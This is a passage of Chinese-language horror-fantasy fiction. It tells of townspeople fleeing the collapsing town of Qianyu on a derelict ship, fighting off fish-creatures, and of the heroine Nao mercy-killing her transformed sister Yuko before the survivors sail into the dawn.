怀中的夏美还在哇哇哭泣着,她擦去她的泪珠,跟在人群后面,望向遥远高邈的海面,巨浪滔天,如千军万马奔踏,发出惊天动地的恐怖声响。
巨浪之中,乌云浓密,涛声依旧,钟声震天。
一个庞大的黑影在巨浪中现身,船身破旧,却在海浪中永不倾倒,如同一座寸草不生却依然巍峨的大山。缓缓停靠在岸边,下面出现了细碎的摩擦声,可以称之为浩瀚的海虫托举着这艘残破的大船。
奈绪听见龙太郎的声音,他正指挥着镇民登船,他推了下眼镜,声嘶力竭大喊:“登船!登船!”
“姐!姐!”
她听见中村的狂喊:“快上船!抓住我的手!”
奈绪将夏美托举上去,随后自己也抓住了木板,翻身上船,脚步打滑,被一个人抓住手扶起,奈绪抬眼想去感谢,话到嘴边停住了,化为一连串无声的哽咽。
刚志扶正奈绪后,冲她轻轻一点头,转着轮椅去帮龙太郎了。
镇上的蜘蛛人显著拖慢了鱼人的速度,意识到镇子从中心开始塌陷后,鱼人一波一波地涌出镇子,像一片乌云遮盖了沙滩,鱼人游进海中,甚至吞吃着船下的海虫,有几只鱼人甚至攀上了船身,挂在船边,伺机对船上的人展开攻击。
大船轰鸣,在海虫的簇拥下慢慢往海面上游去,船身不堪重负,发出吱呀吱呀的声响,许多镇民跪地祈祷,希望这艘船能带他们走向彼岸,一个卷毛也在祈祷,被奈绪踢了一脚。
“求什么!”奈绪丢给他一把刀子:“先把这些挂在船边的鱼人清理了才最紧要!”
伊藤望如梦初醒地停止了祷告,跟着奈绪去清理鱼人。
一刀砍断鱼人的手臂,奈绪毫不犹豫,指挥着众人将鱼人清理得干干净净,减去鱼人的重量,船身轻快了许多。
只剩最后几只了,奈绪忽然被人拍了拍肩膀,是龙太郎,他指着船的西侧,一只鱼人眼神涣散,正张开獠牙,肆意攻击着围了一圈的镇民。
“走开,都走开!让奈绪处理。”龙太郎呵斥拿着刀的几人离开,随后深深看了奈绪一眼,也离开了。
鱼人马上就要攀上船面,手臂却被奈绪抓住,鱼人抬起脸,凸起的眼珠中看见了奈绪扭曲变形的脸,鱼人没有丝毫犹豫,朝奈绪胳膊咬去,奈绪却没有挣扎,而是用另一只手环抱住鱼人,任凭尖牙刺进自己的肌肉。
“姐姐。”
鱼人被奈绪环抱着,动弹不得,一双鱼眼迷愣茫然,奈绪温热的呼吸擦过鳃部,带来一阵柔软的战栗,它莫名流起泪来,被奈绪抱得更紧。
“很快就不疼了……姐姐……很快的,我的刀很快……”
一瞬间,颈椎骨断裂,鱼人不再动弹,咬在奈绪胳膊上的獠牙缓缓松开。
奈绪几乎是狂乱地亲吻着由子的额头,手中的刀子丢下,抚摸着由子被海水浸湿的头发,将她抱在怀中,手臂还在潺潺流着血,奈绪已经感觉不到痛意。
人群都挤在船板上,茫然的眼神望向漆黑一片的海面,巨浪滔天,他们在一群海虫的帮助下,乘坐一艘残破的大船,离开了千鱼镇。
身后的千鱼镇中心出现了一个巨大的漩涡,如黑洞般吞噬着千鱼镇的一切,建筑倒塌,海水倾倒,他们逆着巨流前行。
反射着红色的海面与漆黑的海底交织,形成一幅奇异的诡谲画面。
奈绪抱着夏美,坐在死去的由子身旁,一股温柔的风包裹着她,将她的头发吹得微微扬起。
恍惚间,她觉得由子自由的灵魂也跟随自己出逃了。
那片她们一起种下的青菜地,带着那一书包希望的纸片,一同坠入漩涡。
狂风刮着奈绪的脸,她染着泪花的眼将万物变成模糊的色块,红色与黑色交织的色块中,一抹淡然的黄色出现了。
那是太阳,那是驱散了一切黑暗的太阳,那是包容一切的希望。
经过长达一年的毁灭后,希望重新回归世界。
奈绪和龙太郎几人坐成一排,全神贯注盯着那一抹黄色,他们不害怕烈日灼烧了他们的眼睛,也不怕茫然未知的前路。他们的手紧紧拉着,年轻的手,苍老的手,柔嫩的手,都紧紧拉着。
阳光终将普照大地。